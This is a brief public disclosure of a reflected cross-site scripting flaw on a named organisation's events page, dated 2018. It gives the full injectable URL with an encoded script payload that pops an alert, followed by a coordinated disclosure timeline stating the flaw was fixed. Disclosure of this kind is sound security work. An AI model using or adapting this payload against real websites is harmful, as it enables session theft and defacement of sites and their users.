somersetskyecanyon.org XSS vulnerability

somersetskyecanyon.org XSS vulnerability. Vulnerable URL: https://somersetskyecanyon.org/apps/events2/event.jsp?eREC_ID=2365783&d;=2018-09-25&id;=%22%3E%3C/SCRIPT%3E--!%3E%3CSCRIPT%3Ealert(String.fromCharCode(71,104,48,53,116,80,84))%3C/SCRIPT%3E. Coordinated Disclosure Timeline: Vulnerability Reported: 29 November, 2018 18:47 GMT. Vulnerability Verified: 29 November, 2018 18:56 GMT. Website Operator Notified: 29 November, 2018 18:56 GMT. Public Report Published: 29 November, 2018 18:56 GMT. Vulnerability Fixed: 1 December, 2018 02:01 GMT. Public Disclosure: 29 December, 2018 18:47 GM